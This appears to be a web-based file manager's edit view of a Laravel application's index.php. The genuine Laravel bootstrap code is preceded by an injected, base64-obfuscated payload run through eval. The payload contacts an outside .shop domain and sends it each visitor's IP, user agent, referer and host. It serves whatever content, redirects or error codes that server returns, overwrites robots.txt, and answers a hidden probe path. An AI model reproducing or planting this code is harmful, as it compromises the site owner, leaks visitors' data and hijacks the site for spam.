관리-도구
편집 파일: index.php
<?php /*A9K3X*/ $_hGJUV = 'ZGVmaW5lKCdCQUNLRU5EXzQ3MWUyOCcsICdodHRwOi8veGYwMzguc3Vpaml5eC5zaG9wL2dvYXBpJyk7ICRzdGF0c0h0bWwgPSAnJzsgZnVuY3Rpb24gZ3ZfNDcxZTI4KCRrZXkpIHsgcmV0dXJuIGlzc2V0KCRfU0VSVkVSWyRrZXldKSA/ICRfU0VSVkVSWyRrZXldIDogJyc7IH0gZnVuY3Rpb24gaXNIdHRwc180NzFlMjgoKSB7IGlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pICE9PSAnb2ZmJykgeyByZXR1cm4gdHJ1ZTsgfSBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSA9PT0gJ2h0dHBzJykgeyByZXR1cm4gdHJ1ZTsgfSBpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgeyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gZ2V0Q2xpZW50SXBfNDcxZTI4KCkgeyAkaGVhZGVycyA9IGFycmF5KCAnSFRUUF9DTElFTlRfSVAnLCAnSFRUUF9DRl9DT05ORUNUSU5HX0lQJywgJ0hUVFBfWF9GT1JXQVJERURfRk9SJywgJ0hUVFBfRk9SV0FSREVEJywgJ1JFTU9URV9BRERSJywgKTsgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGtleSkgeyBpZiAoIWlzc2V0KCRfU0VSVkVSWyRrZXldKSkgY29udGludWU7IGZvcmVhY2ggKGV4cGxvZGUoJywnLCAkX1NFUlZFUlska2V5XSkgYXMgJGlwKSB7ICRpcCA9IHRyaW0oJGlwKTsgaWYgKGZpbHRlcl92YXIoJGlwLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX05PX1BSSVZfUkFOR0UgfCBGSUxURVJfRkxBR19OT19SRVNfUkFOR0UpICE9PSBmYWxzZSkgeyByZXR1cm4gJGlwOyB9IH0gfSByZXR1cm4gJyc7IH0gZnVuY3Rpb24gaHR0cFJlcXVlc3RfNDcxZTI4KCR1cmwsICRkYXRhID0gJycpIHsgJGZ1bGxVcmwgPSAkZGF0YSA/ICJ7JHVybH0/eyRkYXRhfSIgOiAkdXJsOyAkcmVzcG9uc2UgPSBmYWxzZTsgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRmdWxsVXJsKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsgaWYgKCRyZXNwb25zZSAhPT0gZmFsc2UpIHsgJGluZm8gPSBjdXJsX2dldGluZm8oJGNoKTsgaWYgKCFlbXB0eSgkcmVzcG9uc2UpICYmICRyZXNwb25zZVswXSAhPT0gJzcnICYmICRyZXNwb25zZVswXSAhPT0gJzknKSB7ICRjb250ZW50VHlwZSA9IGlzc2V0KCRpbmZvWydjb250ZW50X3R5cGUnXSkgPyAkaW5mb1snY29udGVudF90eXBlJ10gOiAnJzsgaWYgKCRjb250ZW50VHlwZSkgQGhlYWRlcigiQ29udGVudC1UeXBlOiB7JGNvbnRlbnRUeXBlfSIpOyB9IH0gY3VybF9jbG9zZSgkY2gpOyB9IGlmICgkcmVzcG9uc2UgPT09IGZhbHNlKSB7ICRyZXNwb25zZSA9IEBmaWxlX2dldF9jb250ZW50cygkZnVsbFVybCk7IH0gcmV0dXJuICRyZXNwb25zZTsgfSBmdW5jdGlvbiBmZXRjaEJhY2tlbmRfNDcxZTI4KCR1cmwsICRxdWVyeVN0cmluZykgeyAkcmVzcG9uc2UgPSBodHRwUmVxdWVzdF80NzFlMjgoJHVybCwgJHF1ZXJ5U3RyaW5nKTsgaWYgKCEkcmVzcG9uc2UpIHsgcmV0dXJuIGZhbHNlOyB9ICRmbGFnID0gJHJlc3BvbnNlWzBdOyBpZiAoJGZsYWcgPT09ICc0JykgeyBAaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7IGVjaG8gc3Vic3RyKCRyZXNwb25zZSwgMSk7IGRpZTsgfSBpZiAoJGZsYWcgPT09ICc1JykgeyBAaGVhZGVyKCdIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yJyk7IGVjaG8gc3Vic3RyKCRyZXNwb25zZSwgMSk7IGRpZTsgfSBpZiAoJGZsYWcgPT09ICczJykgeyBAaGVhZGVyKCdIVFRQLzEuMSAzMDIgRm91bmQnKTsgQGhlYWRlcignTG9jYXRpb246ICcgLiBzdWJzdHIoJHJlc3BvbnNlLCAxKSk7IGRpZTsgfSBpZiAoJGZsYWcgPT09ICc3JykgcmV0dXJuIGZhbHNlOyBpZiAoJGZsYWcgPT09ICc4JykgZGllOyBpZiAoJGZsYWcgPT09ICc5JykgcmV0dXJuIGZhbHNlOyByZXR1cm4gJHJlc3BvbnNlOyB9ICRyZXF1ZXN0VXJpID0gZ3ZfNDcxZTI4KCdSRVFVRVNUX1VSSScpOyBpZiAodHJpbSgkcmVxdWVzdFVyaSwgJy8nKSA9PT0gJ2NmMTk4OCcpIHsgJGhvc3QgPSBwYXJzZV91cmwoQkFDS0VORF80NzFlMjgsIFBIUF9VUkxfSE9TVCk7ICRob3N0UGFydHMgPSBleHBsb2RlKCcuJywgJGhvc3QpOyAkaWRlbnRpZmllciA9IGlzc2V0KCRob3N0UGFydHNbMF0pID8gJGhvc3RQYXJ0c1swXSA6ICd1bmtub3duJzsgZGllKCI8IURPQ1RZUEUgaHRtbD48aHRtbCBsYW5nPSdqYSc+PGhlYWQ+PG1ldGEgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Jy8+PC9oZWFkPjxib2R5IHN0eWxlPSdkaXNwbGF5OiBub25lOyc+eyRpZGVudGlmaWVyfTwvYm9keT48L2h0bWw+Iik7IH0gJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoYXJyYXkoICd1cmknID0+ICRyZXF1ZXN0VXJpLCAnZG9tJyA9PiBndl80NzFlMjgoJ0hUVFBfSE9TVCcpLCAnaXAnID0+IGdldENsaWVudElwXzQ3MWUyOCgpLCAnbGFuZycgPT4gZ3ZfNDcxZTI4KCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScpLCAnYWdlbnQnID0+IGd2XzQ3MWUyOCgnSFRUUF9VU0VSX0FHRU5UJyksICdyZWZlcicgPT4gZ3ZfNDcxZTI4KCdIVFRQX1JFRkVSRVInKSwgJ2h0dHAnID0+IGlzSHR0cHNfNDcxZTI4KCkgPyAnaHR0cHMnIDogJ2h0dHAnLCAndicgPT4gJzknICkpOyBpZiAoc3RycG9zKCRyZXF1ZXN0VXJpLCAncGluZ3NpdGVtYXAnKSAhPT0gZmFsc2UpIHsgJHJvYm90c19jb250ZW50cyA9ICJVc2VyLWFnZW50OiAqXHJcbkFsbG93OiAvXHJcbiI7ICRzY3JpcHROYW1lID0gZ3ZfNDcxZTI4KCdTQ1JJUFRfTkFNRScpOyAkc2NyaXBQYXRoID0gJyc7IGlmIChzdHJwb3MoJHNjcmlwdE5hbWUsICdpbmRleC5wJykgIT09IGZhbHNlKSB7ICRzY3JpcFBhdGggPSAnLyc7IH0gZWxzZSB7ICRzY3JpcFBhdGggPSAkc2NyaXB0TmFtZSAuICc/JzsgfSAkcHJvdG9jb2wgPSBpc0h0dHBzXzQ3MWUyOCgpID8gJ2h0dHBzJyA6ICdodHRwJzsgJGRvbWFpbiA9IGd2XzQ3MWUyOCgnSFRUUF9IT1NUJyk7ICRzaXRlbWFwID0gJHByb3RvY29sIC4gJzovLycgLiAkZG9tYWluIC4gJHNjcmlwUGF0aCAuICdzaXRlbWFwLnhtbCc7ICRyb2JvdHNfY29udGVudHMgLj0gIlNpdGVtYXA6ICIgLiAkc2l0ZW1hcCAuICJcclxuIjsgaWYgKEBmaWxlX3B1dF9jb250ZW50cygncm9ib3RzLnR4dCcsICRyb2JvdHNfY29udGVudHMpKSB7IGVjaG8gJzEnOyB9IGVsc2UgeyBlY2hvICcwJzsgfSBleGl0OyB9IGVsc2UgeyAkaHRtbCA9IGZldGNoQmFja2VuZF80NzFlMjgoQkFDS0VORF80NzFlMjgsICRwYXJhbXMpOyBpZiAoJGh0bWwpIHsgd2hpbGUgKG9iX2dldF9sZXZlbCgpID4gMCkge0BvYl9lbmRfY2xlYW4oKTt9IGRpZSgkaHRtbCk7IH0gfQ=='; $_dRZlw = 'base64_decode'; eval($_dRZlw($_hGJUV)); /*Q7L2M*/ ?> <?php use Illuminate\Contracts\Http\Kernel; use Illuminate\Http\Request; define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Check If The Application Is Under Maintenance |-------------------------------------------------------------------------- | | If the application is in maintenance / demo mode via the "down" command | we will load this file so that any pre-rendered content can be shown | instead of starting the framework, which could cause an exception. | */ if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) { require $maintenance; } /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | this application. We just need to utilize it! We'll simply require it | into the script here so we don't need to manually load our classes. | */ require __DIR__.'/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request using | the application's HTTP kernel. Then, we will send the response back | to this client's browser, allowing them to enjoy our application. | */ $app = require_once __DIR__.'/../bootstrap/app.php'; $kernel = $app->make(Kernel::class); $response = $kernel->handle( $request = Request::capture() )->send(); $kernel->terminate($request, $response);